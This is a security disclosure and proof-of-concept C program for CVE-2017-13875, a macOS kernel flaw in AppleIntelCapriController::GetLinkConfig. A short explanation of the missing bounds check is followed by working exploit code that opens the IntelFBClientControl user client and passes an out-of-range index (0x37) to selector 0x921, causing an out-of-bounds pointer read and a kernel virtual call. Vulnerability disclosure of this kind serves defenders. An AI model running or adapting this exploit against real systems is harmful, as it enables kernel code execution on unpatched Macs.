MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig(CVE-2017-13875)

// ianbeer// build: clang -o capri_link_config capri_link_config.c -framework IOKit#if 0MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfigAppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to indexa small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayModewhich will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.Tested on MacOS 10.13 (17A365) on MacBookAir5,2#endif#include <stdio.h>#include <stdlib.h>#include <string.h>#include <IOKit/IOKitLib.h>int main(int argc, char** argv){ kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 8; //*(uint64_t*)inputStruct = 0x12345678; // crash *(uint64_t*)inputStruct = 0x37; // oob call uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 4096; err = IOConnectCallMethod( conn, 0x921, // GetLinkConfig inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); return 0;}